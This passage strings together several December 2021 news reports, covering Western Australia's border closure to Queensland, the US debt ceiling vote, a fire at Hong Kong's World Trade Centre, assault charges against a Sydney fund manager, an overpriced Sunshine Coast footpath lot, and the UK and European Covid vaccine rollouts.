Christmas plans. 'I'm just so angry it's all good and well that we are able to cancel those flights or wait until Qantas cancels them for us but it will be a six- to 12-month wait before we can get our money back,' she said. 'We have forfeited $4,500 for what? So that we can do nothing for Christmas? I'm disappointed and frustrated.' Ms Baker said Mr McGowan's draconian border stance has made it extremely difficult to see her granddaughter, who was born in August. Mr McGowan upgraded Queensland to a 'low risk' jurisdiction on Monday, meaning inbound travellers from the Sunshine state must quarantine for 14 days upon arrival However, the grandmother said she was not surprised quarantine-free travel was abruptly cut off to Queenslanders. 'As soon as Queensland said they would reopen the borders to NSW and Victoria we all said "should we cancel our flights now?" We knew as soon as the borders were open WA was going to close us out,' she told Daily Mail Australia. 'It's heartbreaking. My daughter can't come here because her partner can't get the time off. 'I don't want my money back, I want to spend Christmas with my whole family.' Mr McGowan said the tightening was needed because Queensland has recorded seven local Covid cases in the past two days and was easing its border restrictions on Monday. 'With community spread now being experienced in Queensland and its expected move to relax border controls and quarantine requirements with Covid-positive jurisdictions, in the midst of Omicron, we need to take caution and strengthen our border controls with Queensland,' he said on Saturday. Darelle Baker and her family (pictured) can no longer visit her granddaughter in WA over Christmas due to the state's new WA border control rules 'This will inconvenience people however we know border controls work to keep WA safe and they're effective in managing the risks of Covid-19 entering the community - while we don't yet have sufficient levels of vaccination coverage.' On Monday, Mr McGowan revealed WA's domestic borders will reopen at 12.01am Saturday February 5 to fully-vaccinated arrivals. Only double vaccinated domestic travellers will be able to enter the state without the need to quarantine and must get proof of a negative Covid-19 test within 72 hours of arrival. Those staying in the state for six days or more must get a second test within 48 hours of arrival. Travellers visiting the the state for five days or less won't be required to get a second test. International travellers will not need to quarantine if they have been vaccinated, but will need to test negative before departure and on arrival. Congress averted a catastrophic debt default early Wednesday morning after Democratic majorities in both chambers voted to send a $2.5trillion increase in the nation's borrowing authority to President Joe Biden, despite Republican opposition. The House gave final approval to the legislation early Wednesday morning on a near-party-line 221-209 vote, defusing a volatile issue until after the 2022 midterm elections. The action came just hours shy of a deadline set by Treasury Secretary Janet Yellen, who warned last month that she was running out of maneuvering room to avoid the nation's first-ever default. 'The full faith and credit of the United States should never be questioned,' Speaker Nancy Pelosi said from the House floor shortly before the vote. Yet the bill which drew only one Republican vote in the House, from Illinois Representative Adam Kinzinger also saddled vulnerable Democrats with a tough vote on the cusp of an election year when both chambers will be up for grabs. Congress sends the $2.5trillion debt limit increase to President Joe Biden. Before the House voted, Speaker of the House Nancy Pelosi (pictured) said: 'The full faith and credit of the United States should never be questioned' Senate Majority Leader Chuck Schumer (left) and Senate Minority Leader Mitch McConnell (right) struck a deal on the debt ceiling last week, which will allow just a simple majority to move a debt ceiling resolution through the Senate Tuesday, before the December 15 deadline Republicans, meanwhile, said they were perplexed by the Democrats' scramble to act. 'Democrats have known this day is coming for two years and did absolutely nothing,' said Republican Texas Representative Kevin Brady. The Senate voted Tuesday afternoon to raise the debt - a day before Treasury Secretary Janet Yellen said the US could go into default. Only Democrats voted in favor of the hike, with the final vote standing at 50 to 49, with one Republican abstaining. That meant there was no need for Vice President Kamala Harris to break a tie. Senate Majority Leader Chuck Schumer said on the floor Tuesday morning that the hike would allow the US to borrow enough money to fund its expenses into 2023 - after the midterm elections. Schumer and Senate Minority Leader Mitch McConnell struck a deal last week, where they attached a rule-change to another bill that would allow the debt ceiling resolution to go forward with a simple majority vote - instead of the typical 60 votes needed for cloture. This allowed Democrats to avoid a Republican filibuster threat - and permitted McConnell to call it a win, as he wanted only Democrats to vote for the hike - enabling the GOP to go after Democrats for the debt in the run-up to the 2022 midterms. Still, former President Donald Trump and other Republicans grumbled that McConnell allowed Democrats to utilize a fast-track approach, instead of using the more cumbersome process of reconciliation to get the bill through. The Senate voted Tuesday afternoon to raise the debt ceiling by $2.5trillion. Only Democrats voted in favor of the hike, with the final vote standing at 50 to 49, with one Republican abstaining Schumer said he expected the $2.5trillion debt ceiling hike to allow the government to borrow money to pay its bills through sometime in 2023 On Thursday, the Senate passed a bill that would allow them to raise the debt ceiling one time using a simple majority. In a vote of 64 to 36, 14 Republicans joined the Democrats in a procedural vote on a bill that delays Medicare sequestration cuts for three months that also contains a provision that allows for the debt ceiling to be raised one time using a simple majority. Schumer thanked McConnell for playing ball and said on the Senate floor Thursday that their conversations were 'fruitful, candid, productive' and said this was the 'responsible' action to take. Republicans who joined the Democrats for the cloture vote included McConnell and Sens. John Thune, John Barrasso, Shelley Moore Capito, Roger Wicker, Susan Collins, Roy Blunt, Thom Tillis, Lisa Murkowski, Richard Burr, Joni Ernst, John Cornyn, Mitt Romney and Rob Portman. On final passage - which was 59 to 34 - 10 Republicans joined 49 Democrats in getting the bill over the line. They included Barrasso, Blunt, Capito, Collins, McConnell, Murkowski, Portman, Romney, Thune and Tillis. Senate Majority Leader Chuck Schumer thanked Senate Minority Leader Mitch McConnell prior to the vote saying their conversations were 'fruitful, candid, productive' and said this was the 'responsible' action to take Fourteen Republicans joined the Democrats Thursday to vote for cloture for a bill that contained a provision that will allow the Senate to pass a debt ceiling hike before the December 15 deadline using only Democratic votes. Sixty votes are needed for cloture The bill was approved by the Senate 59 to 34 later Thursday night. In this vote, 10 Republicans voted alongside 49 Democrats for final passage. The Medicare bill contained a provision that would allow Democrats to vote the debt ceiling using a simple majority one-time only Other Republicans have grumbled about the deal, having hoped that McConnell would force Democrats to use the more cumbersome process of reconciliation to push up the debt ceiling. Critics, including Trump, have pressed McConnell to drag out the process, with Trump incorrectly believing it would thwart Democratic efforts to push President Joe Biden's Build Back Better bill. 'So Mitch McConnell has the greatest hand, the greatest, the best, this is such an easy negotiation to kill the 'Build Back Worse' plan of Biden. And we have a thing called the debt ceiling. And this morning, I hear he gave it up,' Trump claimed on Hugh Hewitt's radio show Wednesday. 'He gave it up for practically nothing. He could have used the debt ceiling card ... the debt ceiling is psychological. This is not psychological. This is fact. This will destroy our country, the fabric of the country as we know it,' Trump said of Biden's Build Back Better plan. Senate Minority Leader Mitch McConnell, seen speaking at a service for the late Sen. Bob Dole earlier Thursday, agreed to a debt ceiling deal with Schumer that left some members of his party grumbling Democrats already planned to use reconciliation - which allows them to bypass a Republican filibuster threat - to get the $1.75 trillion bill over the line, so holding up the debt ceiling process would only create a delay. Schumer has said he wants Build Back Better passed by Christmas. Moderate Democratic Sen. Joe Manchin, however, has remained resistant. Other Republicans feared that allowing Democrats to bypass the filibuster one time by adding a provision to a separate bill, would open the door for more carve-outs down the road. Sen. Mike Lee, a Utah Republican, warned it could 'neuter the Senate.' 'IT IS AKIN TO 'NUKING THE FILIBUSTER!'' he tweeted in all caps. Still, 10 Republican votes were needed to push the process forward. Sen. Ted Cruz, a Texas Republican, argued that Republicans were still giving Democrats assistance - even if GOP senators won't be needed for the final vote on the debt ceiling. 'I don't think Republicans should be facilitating adding trillions in debt,' the Texas Republican said, according to Wednesday's Playbook. Over on the House side, GOP Rep. Kevin Brady, the ranking member of the House Ways and Means committee, complained that the deal mucked up what should have been a bipartisan Medicare bill, calling it a 'poison pill.' 'You wrecked a bipartisan agreement for your debt ceiling crisis,' Brady said Tuesday night on the floor. On Tuesday night, the House passed the Medicare-debt ceiling bill with a vote of 222 to 212, with the support of just one Republican, retiring GOP Rep. Adam Kinzinger. The debt ceiling has generally been voted on by members of both parties, as the debt was taken on by both Republican and Democratic presidents. But McConnell, with few cards in his hand with Democrats controlling the White House and both houses of Congress, decided earlier this year to make it a hurdle for his Democratic colleagues - telling them they must raise the debt ceiling alone. Republicans are eager to use the debt issue - as they did in the 2010 midterms to take Congress away from the Democrats - against the Democrats in Congressional races next year. McConnell argued that the deal struck with Schumer still sticks to that. 'The red line is intact,' McConnell said. 'The red line is that you have a simple majority party-line vote on the debt ceiling. That's exactly where we will end up.' More than a thousand people were evacuated after a fire at the World Trade Centre in Hong Kong that left at least 12 people injured The blaze broke out in an electrical room on the lower floors of the 38-storey skyscraper at 12.37pm Wednesday, before spreading to scaffolding wrapped around the building as the interior filled with smoke. At least 300 people rushed to the roof as fire crews used ladders to pull people to safety from the lower floors. Twelve people had to be treated in hospital for the effects of smoke inhalation, with one woman - in her 60s - left in a semi-conscious state. Hundreds of people were trapped on the roof of the World Trade Centre in Hong Kong after a fire broke out inside an electrical switch room inside the tower The building houses offices and restaurants, and was filled with diners enjoying lunch when the blaze broke out around 12.30pm Wednesday The fire is thought to have broken out in an electrical switch room on the lower floor of a shopping mall inside the tower, filling parts of the building with smoke Flames spread from the shopping mall to scaffolding wrapped around the building due to renovation works, causing smoke to fill the interior (pictured, women flee the scene) Hundreds of people are trapped after a fire broke out inside Hong Kong's World Trade Centre on Wednesday, leaving at least one person injured (pictured) Firemen tend to a woman on the floor after she managed to escape from the burning World Trade Centre building on Wednesday afternoon Fire crews use a ladder to help rescue people from the building, thought to be office workers stuck on the fifth floor One more woman, 52, suffered leg injuries and was also treated in hospital. As of 4pm local time, fire crews said 1,200 people had been evacuated including hundreds hauled to safety from an open-air area of the fifth floor using cranes. Others managed to run to safety through the building's smoke-filled lobby, and were seen streaming out on to the street. But photos and video showed hundreds more were still trapped on rooftops as fire crews battled to reach them. Police said it appears the fire started in an electrical switch room on one of the lower floors of a shopping mall inside the building before spreading to scaffolding covering part of the exterior. Smoke then began pouring into the shopping centre itself along with interior staircases, filling the building. The fire has been declared a level 3 incident out of a possible 5 - with level 5 being the most-serious. The WTC operates as a shopping mall and dining complex as well as an office block, and was filled with people enjoying lunch when the blaze broke out. Fire crews have been using ladders to rescue people from the lower floors of the building, but hundreds more remain trapped inside A woman crouches down in the basket of a cherry-picker as she is rescued from the World Trade Centre in Hong Kong after he building caught fire Women are rushed to safety by fire crews after evacuating Hong Kong's World Trade Centre Women cover their mouths with cloths as they leave the smoke-filled skyscraper A fireman helps to rescue people from an open-air part of the skyscraper, located on the fifth floor of the building All of the shops have been vacant for several months while the lower floors of the building, including its underground car park, were renovated. Restaurants between the sixth and 13th floors, as well as offices between the 14th and 38th floors were still in use at the time of the fire, SCMP reports. Ms Gu, the manager of a Chinese restaurant on the 12th floor, said smoke started to fill the building around 12.45pm when staff were serving around 80 customers. 'We called the management hotline multiple times but there was no response,' she told SCMP. 'We quickly gathered the customers and grabbed some towels and evacuated. We had to bend low as the smoke was swelling up in the staircase.' James Ng, a construction worker stationed on the third floor of the building, said many escalators and elevators have been disabled during the renovations. 'All the shops on the third floor are boarded up, some escalators only run in one direction while others are not functioning,' he said. 'It's like a maze inside. You will get lost if you're not familiar with the place.' Rescue workers evacuate people from the site after a fire broke out at the World Trade centre in Hong Kong Firefighters stand by outside the World Trade Centre where is located in the city's popular Causeway Bay shopping district A high flying fund manager could spend Christmas behind bars following fresh allegations of assaulting his wife. Fredrik Blencke, 48, is accused of assaulting his wife Annabelle Price at their mansion in Sydney's eastern suburbs on Monday night. He was charged with one count of common assault and two counts of contravening an apprehended violence order. The high-profile investment banker and his wife are close associates of Ellie and Charlie Aitken, and Hollie and Christopher Nasser, two former couples at the centre of a society love rift which has rocked Sydney's eastern suburbs. Blenke has swapped his $5.3million luxury five-bedroom, three-bathroom Vaucluse mansion with harbour views for a jail cell after he was refused bail in Waverley Local Court on Tuesday. Fredrik Blencke, 48, is behind bars after fresh allegations of assaulting his wife Annabelle Price (pictured together celebrating their birthday) He will remain in custody until at least December 21 after magistrate Caroline Huntsman found he had breached the conditions of his previous bail which included not threatening or harassing his wife of three years, the Daily Telegraph reported. A fresh AVO has also taken out by police against Blencke for Ms Price's protection. A previous AVO was taken out by NSW Police in August following another alleged assault on Ms Price at their Vaucluse home on the night of August 16. That order stated Blencke must not 'threaten, assault or harass' his wife, and is not to be near her within 12 hours of 'drinking alcohol or taking illicit drugs'. Blencke has vowed to fight the charges. 'I categorically deny the allegations and condemn the use of AVO proceedings to obtain leverage in post separation conflict, diverting policing and court resources from genuine victims,' a statement to the Daily Telegraph read. 'I am completely devoted to each of my three children and am determined to fight these false allegations.' Fredrik Blencke (pictured with his wife) was charged with one count of common assault and two counts of contravening an apprehended violence order after an alleged incident at the couple's home on Monday night Fredrik Blencke and his wife are friends with Ellie and Charlie Aitken, and Hollie and Christopher Nasser, socialites in double marriage bust-up Pictured left to right: Blencke, Mr Nasser, Hollie Nasser, Ellie Aitken, Charlie Aitken Earlier in 2021, Blencke was involved in an altercation at Hotel Ravesis in Bondi, allegedly resisting arrest and assaulting a constable and senior constable after he was asked to leave the venue by security. Blencke has pleaded not guilty to assaulting an officer, resisting arrest and remaining in the vicinity of a licensed premises. He will return to court on May 27, 2022 to defend those charges. Blencke and his wife are close associates of Ellie and Charlie Aitken, and Hollie and Christopher Nasser. The group are regularly seen at functions together, most recently posing for a photograph as they celebrated a mutual friend's party on a Bondi rooftop. Mr Aitken announced last month he'd separated from his wife of 19 years and moved on with her younger best friend, Hollie, effectively ending two friendships and his business partnership with Mr Nasser. An old footpath previously valued at $150,000 has skyrocketed to $400,000 as Australia's property market continues to deteriorate. The Sunshine Coast 'property' going for almost half a million dollars is largely taken up by an old footpath and has a playground less than two metres away. Online communities are questioning the 4.6m by 28.1m property's value after it was revealed the plot was sold for just $150,000 in 2019. An old footpath (above) in the Sunshine Coast previously valued at $150,000 has skyrocketed to $400,000 as Australia's property market continues to deteriorate The property going for almost half a million dollars is largely taken up by an old footpath and has a playground less than two metres away A real estate agent said it is ideal for a terrace home and first home buyers Richardson and Wrench Coolum sales executive James Henley told the Courier Mail the jump in value is a result of the 'crazy' prices seen across the region. 'Prices are going crazy on the Sunshine Coast and what seems to be an ambitious price sets a new benchmark for an area,' he said. Mr Henley said the unique property would be ideal for a terrace house or first home buyers and claims the listing has generated a 'good amount' of interest. However people online remain unconvinced the property is worth its hefty price tag and joked about its cramped size. People online have condemned the property's price after seeing its size Several online commenters joked about the property's size and said the asking price was 'disgusting' 'Council and developers with both hands in their pockets here, bl**dy disgusting,' one person said. 'I'll be able to back the caravan in and just roll out the awning. Perfect!,' another said. 'I'm selling my front yard for $400k if anyone's interested,' a user wrote. Advertisement Britain's booster jab campaign is off to a storming start with a record 611,000 Covid jabs being given out in a single day yesterday. NHS chiefs say staff worked through a record high of 548,039 booster vaccines on Tuesday, alongside more than 60,000 first and second doses. The booster figure smashes the previous one-day record for vaccine top-ups of 483,361 - set on December 11. However the figure still falls well below Boris Johnson's one million doses-a-day target needed to tackle what he described as a 'tidal wave of Omicron'. NHS chiefs say staff are 'pulling out all the stops' to accelerate the vaccine programme. It comes as queues again formed before dawn outside vaccination centres this morning with all adults in England now being offered a Covid-19 booster from today after the NHS national booking system opened up to all over 18s. Some vaccination centres had to stop offering walk-in boosters yesterday amid limited supply, with a volunteer-led hub in Andover, Hampshire, saying it was only able to offer first and second Pfizer vaccine doses. In more good news, yesterday also saw more than 630,000 booster jabs booked through the online booking service - the highest number for any Tuesday on record. Of those, 150,000 booster bookings were made before 9am this morning. Dr Emily Lawson, director of the NHS covid-19 vaccination programme, said: 'NHS staff are once again pulling out all the stops to accelerate the NHS covid-19 vaccination programme, the biggest and most successful in health service history, and these figures show just how hard we are all working to get lifesaving jabs in arms. 'We need everyone to play their part in the national mission to protect the country and the public can help by booking their jab online to avoid disappointment just like 630,000 people did yesterday. 'The data clearly shows that getting boosted gives maximum protection against the new variant so please book your slot online as soon as possible and guarantee your vital jab. Meanwhile, Health and Social Care Secretary Sajid Javid said: 'A record 548,039 booster vaccines were administered yesterday as we ramp up our vaccination programme and bolster our defences against the virus. 'Thank you to everyone playing their part from the 24 million people who have come forward to get boosted now, to the wonderful NHS and vaccine volunteers getting jabs in arms. 'This is a national mission and we want to stay ahead in the race with this virus, so roll up your sleeves and get protected.' It comes as thousands lined up to get their booster at vaccination points across the country today. The first people to join the line at St Thomas' Hospital in London arrived at 6.14am despite the centre not opening until 8am - with the NHS racing to boost Britons as it tries to head off a 'tidal wave' of Omicron cases. People are eligible for a booster three months after their second vaccine but they can book after two months, and today marks the NHS meeting its objective of offering every eligible adult a chance to book one before 2022. Britons queue up in a line outside St Thomas's Hospital in London this morning for their Covid-19 booster jabs People queue outside a Covid-19 vaccination centre at the Science Museum in Kensington, West London, this morning People queue at a vaccination centre at Chester Cathedral today as the booster vaccination programme is ramped up Large numbers of people in Newcastle city centre form a long queue as they wait for their coronavirus booster jab today People queue to get their booster jab at a Hindu Temple in the Redfield area of Bristol this morning People queue to get their booster jab at the Easton Christian Family Centre in Bristol this morning People queue on a bridge leading to St Thomas' Hospital in London this morning where a vaccination centre is operating Britons near the front of the queue at the St Thomas' Hospital vaccination centre in London this morning People queue on a bridge leading to St Thomas' Hospital in London this morning where a vaccination centre is operating Britons wait on a bridge at St Thomas' Hospital in London this morning as they await their turn to get a booster jab Britons queue for their Covid-19 vaccination booster jabs on Solihull High Street in the West Midlands this morning People queue for their Covid-19 booster jab at the Elland Road vaccination centre in Leeds this morning Britons arrived at St Thomas' Hospital in London for their jab from 6.14am today despite the centre not opening until 8am It comes as some vaccination centres had to stop offering walk-in boosters yesterday amid limited supply, with a volunteer-led hub in Andover, Hampshire, saying it was only able to offer first and second Pfizer vaccine doses. However, NHS England has insisted there are 'no supply challenges' with booster stocks amid claims from GPs that it is the staffing of the vaccination centres that provides the bigger logistical challenge for the rollout. Some 24 million boosters have now been given in the UK, with 75 per cent of over-50s having received one. Health officials said they will offer boosters at 'extreme speed' after the need for staff to monitor patients for 15 minutes post-jab was scrapped and it emerged 513,722 people in the UK received a third shot on Monday. Rebels deal a blow to Boris: PM is stunned as nearly 100 of his own MPs challenge his authority Boris Johnson was rocked by a massive Tory revolt over Covid passports last night as Conservative MPs made clear their trenchant opposition to any further virus curbs. Nearly 100 Tory MPs voted against the controversial plan, leaving the Prime Minister reliant on Labour support to force the measure through. The revolt came despite a last-ditch personal plea from the PM, in which he told mutinous MPs he had absolutely no choice but to increase Covid curbs in the face of an onslaught from the Omicron variant. The scale of the revolt stunned Downing Street and left the PM facing questions about whether he will be able to impose any further curbs, his personal authority and whether his own position could come under threat. One Cabinet source called for the chief whip Mark Spencer to be sacked, saying discipline in the party was broken. Another warned that the PM would now struggle to push through further Covid restrictions unless there is very clear evidence that Omicron is leading to hospitalisations and deaths. Sir Charles Walker, vice-chairman of the Tories powerful 1922 committee, said MPs were putting a marker down against further restrictions. This was just a bridge too far, he said. It was a cry of pain from the Conservative Party. Sir Geoffrey Clifton-Brown, the committees treasurer, even claimed that a New Year leadership challenge could be on the cards given the scale of the rebellion. The revolt on Covid passports came despite a number of concessions, which included allowing people to show a negative test result rather than proof of vaccination to gain entry to nightclubs and large venues where the new system will operate. The controversial measure was passed by 368 votes to 125 after Labour agreed to support it. Advertisement More Covid vaccines were given in England than on any Monday so far and the enthusiasm continued yesterday as people once again queued for hours outside vaccine centres and more than 493,000 booked online. The booking system for boosters today opened to all adults for the first time, having previously been limited to those aged over-30 since Monday, which is expected to lead to a further surge in visits to the NHS website. The system has introduced virtual queues and crashed under the pressure on Monday, although it appeared to be working fine this morning with visitors placed in a queue which lasted less than five minutes. It comes after Professor Wei Shen Lim, chairman of the Covid-19 panel of the Joint Committee on Vaccination and Immunisation (JCVI), said that it was important to give the booster before the Omicron wave comes. He told the Science and Technology Committee of MPs yesterday: 'You want to give the booster before the wave comes, there is less benefit in giving a booster in the middle of a wave or after a wave.' Prime Minister Boris Johnson announced in a TV address to millions of Britons on Sunday evening that all adults will be offered a Covid booster by the end of the year in a bid to overcome the Omicron variant. Fears that the new strain may be more infectious has seen people rush to be vaccinated, with a 650 metre-long queue snaking around a vaccine centre in Bristol yesterday. The queue for walk-in jabs at the Centre Court Shopping Centre in Wimbledon, south-west London, was looping around the entire top floor and back to the entrance by 8.30am. People are usually asked to wait for 15 minutes after receiving the Pfizer or Moderna vaccine - the UK's main booster jabs - so medics are on hand if they have an allergic reaction. But some doctors have complained that the requirement can 'reduce the efficiency' of vaccination centres by limiting how many people can pass through each day. The UK's four chief medical officers yesterday recommended the waiting period should be temporarily suspended so more people can be vaccinated faster. They concluded that the 'probability of harm through delay is substantially in excess of the probability of benefit from maintaining 15-minute waits under the current situation'. Modelling by the NHS suggests the change in policy - for first, second and third doses - could improve efficiency by almost a third. The CMOs said the long-term decision on the waiting period - 'when the need for extreme speed of vaccination and boosting is over' - should rest with the Commission on Human Medicines (CHM), the Medicines and Healthcare products Regulatory Agency (MHRA) and the Joint Committee on Vaccination and Immunisation (JCVI). They said that the move would be a 'temporary measure on the grounds of public health need to protect as many citizens as possible over a short period of time'. Those who have a history of allergies, particularly to other vaccines, or have had an immediate reaction after a previous doses, may still be advised to stay for the 15 minutes. The wait time was introduced after two NHS staff suffered allergic reactions on the first day of the vaccine rollout last year. Queues again form before dawn today outside one of the main vaccination centres in London at St Thomas' Hospital The first four people to arrive from 6.14am this morning at the St Thomas' Hospital vaccination centre in London A queue forms outside the St Thomas' Hospital vaccination centre in London before dawn this morning Britons queue for their Covid-19 vaccination booster jabs on Solihull High Street in the West Midlands from 7.20am today A woman checks in people lining up for their Covid-19 vaccination booster jabs in Solihull in the West Midlands this morning People wait inside the Covid-19 vaccination centre in Solihull in the West Midlands this morning The booking system for boosters today opened to all adults for the first time, having previously been limited to those aged over-30 since Monday, which is expected to lead to a further surge in visits to the NHS website (pictured above) Prime Minister Boris Johnson gives a thumbs up to photographers today as he is driven in a car for his morning run in London Dr Mary Ramsay, head of immunisation at the UKHSA, said: 'The removal of the 15-minute wait will help streamline the process at vaccine centres, and we have updated our guidance to facilitate this.' Fears of fresh restrictions in days: MPs may be recalled to vote on curbs as Scots hit by new limits Parliament may be recalled over Christmas to legislate for new Covid curbs amid growing fears that surging Omicron cases could force ministers into a New Year lockdown. Government sources said contingency plans had been put in place for a potential recall over the festive break if the variant continues to spread at lightning speed. Speculation was mounting at Westminster last night that fresh curbs could be introduced within days after ministers were warned that the NHS could buckle under a tidal wave of new cases. It came as First Minister Nicola Sturgeon told Scots their socialising should be limited to three households indoors either side of Christmas Day with everyone encouraged to take a lateral flow test before meeting. The move, which is not mandatory, comes into effect from midnight on Friday and does not apply on December 25. She insisted she was not asking people to cancel Christmas but told the Scottish Parliament the country is facing a likely tsunami of new Covid infections in the weeks ahead. Boris Johnson also told the Cabinet yesterday that a huge spike in Omicron is coming. Chief medical officer Chris Whitty warned ministers Britain was facing a significant increase in hospitalisations. Health Secretary Sajid Javid told MPs that even if Omicron turned out to be less severe than the Delta variant, the fact it was so easily spread meant it still has the potential to overwhelm the NHS. He told ministers that modellers believe Omicron cases may already be running at 200,000 a day and doubling every two to three days. Some experts have raised doubts about the figure, which is far higher than the official Covid total. But Downing Street described it as valid. The Prime Minister last night tried to reassure mutinous Tory MPs that the whole objective of his Plan B restrictions was to keep things moving. Deputy PM Dominic Raab insisted the restrictions, including mandatory mask-wearing and the Covid health certificates for large venues, will be sufficient over Christmas, meaning families can spend it with loved ones. Advertisement Nikki Kanani, GP and deputy for the NHS vaccination programme, added: 'The updated CMO advice to temporarily suspend the 15-minute wait, where safe and appropriate, will be particularly helpful for smaller vaccination sites, helping get more people protected as quickly as possible.' So far 17 people in the UK have had anaphylactic reactions during the 15 minute observation period but none have been fatal. Analysis by NHS England suggests the new guidance will allow 500,000 more people to get a booster jab in the 'initial period' but they were last night unable to say what that period is. The Prime Minister's official spokesman said that Boris Johnson wanted to thank those who had 'queued for hours to get their jabs yesterday'. He added: 'We want to go further and faster and we will continue to do that as we expand. 'You'll have seen that the 15-minute wait has been temporarily paused by the UK chief medical officers, that will allow for significantly more people to go through those vaccination sites. 'It's something that will be very beneficial on the ground and I'll stress that that's been done on clinical advice and safety continues to be our top priority.' The NHS is working to increase capacity by extending hours at existing centres and opening walk-in clinic at the likes of Chester Cathedral and Wembley Stadium. Deputy Prime Minister Dominic Raab acknowledged 'teething problems' after people queued for hours to get coronavirus vaccines. He told BBC Breakfast: 'I appreciate there have been some teething problems as we ramp this up, it does take a few days just to make sure we get to a steady state. We'll keep straining every sinew to make sure we can reach that target.' Dr Lawson said: 'The NHS experienced its busiest Monday ever for vaccinations since the rollout began in December last year and an incredible 418,000 boosters were delivered yesterday alone, with 185,000 of these delivered by community pharmacies - a remarkable achievement.' More than 3 million booster and third doses of Covid vaccine have been delivered across the UK in the past week, the highest number for any seven-day period since the rollout of extra doses began. The figures, from the four UK health agencies, also show that more than 24 million extra doses have now been delivered in the UK. Meanwhile Professor Chris Whitty, chief medical officer for England, last night urged the public to get their booster in a new TV advert. He told viewers: 'There is a new variant of Covid-19 - Omicron - which is highly infectious and spreading fast. Every adult in the country needs to get a Covid-19 booster vaccine. 'Boosters give you the best possible protection against the virus and should significantly reduce your risk of serious illness and hospitalisation. 'Get your Covid-19 booster vaccine to strengthen your protection. Please, get boosted now.' Meanwhile Mr Johnson has thanked NHS workers for their 'incredible efforts' in a letter and called for their help in delivering the 'biggest, fastest vaccination drive this country has ever seen'. In the letter, published on Twitter, the Prime Minister wrote that 'evidence suggests that two vaccine jabs do not provide enough protection. 'I therefore need to call on your help and assistance to deliver the biggest, fastest vaccination drive this country has ever seen 'I know this will not be easy. I know that you are tired and weary. 'But you know how critical it is that we get Britain boosted, and fast.' He added: 'For our part, I can assure you that this Government will do whatever it takes to give you the support you need, and that the whole nation is right behind you, willing you to succeed.' Germany and Spain will start vaccinating children as young as five from today in a bid to keep schools open. The EU's medicines watchdog last month approved the Pfizer-BioNTech shot for five to 11-year-olds, an age group experiencing high coronavirus infection rates across the continent. Germany, Spain, Greece and Hungary are among those opening up their inoculation drives to the age group, with doctors reporting strong initial demand from parents. In Italy, acrobats dressed as superheroes rappelled down the walls of a hospital in Milan as the city prepared to join the new vaccine rollout. Wearing capes and bodysuits, they stopped to greet patients through the windows at a pandemic ward and other children at a pediatric wing. Countries are rolling out vaccines with renewed urgency as the Omicron Covid-19 variant continues to spread. Speaking on Wednesday, European Commission President Ursula von der Leyen said that omicron is expected to be the dominant coronavirus variant in the 27-nation bloc by mid-January. Germany and Spain are among the European nations to start vaccinating younger children from Wednesday in a bid to keep schools open. Pictured: 11-year-old Sarah Carlsen receives a vaccination against the coronavirus on November 28, 2021 in Amagar, Denmark In Italy, acrobats dressed as superheroes rappelled down the walls of a hospital in Milan as the city prepared to join the new vaccine rollout. Wearing capes and bodysuits, they stopped to greet patients through the windows at a pandemic ward and other children at a pediatric wing Pictured: A graph showing the seven-day average daily new confirmed Covid-19 cases per million people in Germany, Spain, Greece, Hungary, Austria, Denmark and the UK. The six EU countries shown are starting to roll out vaccines for five to 11-year-olds The vaccine is administered in a lower dosage than the Pfizer jab for over-12s, and comes in a paediatric vial with an orange cap to distinguish it from the purple-capped vials for older ages. Denmark, which has seen a surge in cases attributed to the highly contagious new Omicron variant, and some Austrian regions already began offering jabs to younger kids in November. The United States was the first large country to take the plunge and has so far vaccinated more than five million children aged five to 11. 'As soon as we offered the vaccine appointments, they were pretty much all snapped up,' said Jakob Maske, a Berlin-based doctor and spokesman for Germany's association of paediatricians. But he downplayed expectations of the kids' jabs heralding a turning point in the fight against Covid-19, at a time when Germany is battling a fierce fourth wave. 'Five to 11-year-olds only make up around three percent of the German population,' he told AFP, describing the kids' immunisation impact as 'a small cog' in the battle. Pictured: The first shipment of Pfizer-BioNTech Covid-19 vaccines for children arrive at the logistics centre of Spain's Health Ministry, two days ahead of the start of a vaccination campaign for children aged 5-11 years old Kid-size doses of the COVID-19 vaccine have orange caps to distinguish them (pictured) What are the risks of Covid and vaccines to five-year-olds? Covid Most children only experience mild symptoms after being infected with Covid. Just one in 300,000 children who test positive for Covid die, according to UK Government data. And the risk of being hospitalised and getting admitted to ICU is similarly low. But the risk is higher to children with serious underlying conditions. The JCVI has yet to release its updated guidance on vaccinating children aged 11 and under, but is understood to be 'urgently' reviewing data, with a decision expected before Christmas. But its latest advice on recommending first jabs to over-12s suggested one Pfizer dose only prevents 131 hospital admissions per million 12-15-year-olds. And second doses only prevent nine hospital admissions for every million dished out to the age group. The figures are likely to be less for five- to eleven-year-old, who are less vulnerable to the virus. Previously, the JCVI said the use of vaccines for healthy children could not be recommended on the bases of health alone. However, as more data has become available on the use of vaccines on the age group in the US, and the emergency of the Omicron variant, the benefits have become more compelling. Vaccines Myocarditis an ultrarare form of heart inflammation is the main side effect of the Pfizer vaccine that concerns experts. Data shows the risk is slightly higher in adolescents than adults, particularly in boys. The JCVI has not released data on how many cases are expected in children aged five to 11 but studies show children in younger age groups are less at risk than teenagers. It found myocarditis cases in between 2.6 to 17.7 million first vaccine doses in children aged 12 to 15. And the condition was found in between 20.9 to 42.2 children in the age group per million second doses dished out. Advertisement Germany's STIKO vaccine commission has officially only recommended the jab for children with pre-existing conditions, but even healthy children will be inoculated if the parents request it. Some German cities plan to administer kids' jabs in museums and zoos, while others are mulling mobile vaccination teams outside schools. The head of Germany's teaching union, Heinz-Peter Meidinger, said a high take-up 'would significantly increase the chance of keeping schools open as long as possible'. In Greece, more than 20,000 parents have booked vaccine appointments for their kids from Wednesday. Spain, which has one of Europe's highest Covid-19 vaccination rates, said it was launching its immunisation campaign for five to 11-year-olds with the goal of breaking the chain of infection 'in family settings, schools and the community'. The country has around 3.3 million children within that age group. A survey published by Appinio found that 74 percent of Spanish parents of five to 11-year-olds wanted to get their kids jabbed. Hoping to spur take-up, the Spanish government has released a television commercial showing kids getting the shot so they can 'help end the virus and protect the elderly'. A number of European countries will launch similar vaccination drives in the coming days, including Italy, Portugal, Poland, the Baltic states and the Czech Republic, while others are still finalising their plans. In France, vaccination has only been approved for five to 11-year-olds at risk of developing serious illness, but the government has said it is considering extending it to all children on a voluntary basis. Belgium is awaiting the recommendation of its national health body, with a rollout likely around the new year. In Switzerland, the country's medical agency has greenlighted the vaccination of kids, but the campaign itself will probably only start in early January. British regulators are still assessing whether to approve jabs for the 5-11 age group, with a decision likely before Christmas. The UK's Joint Committee on Vaccination and Immunisation (JCVI) is reportedly 'urgently' reviewing data on 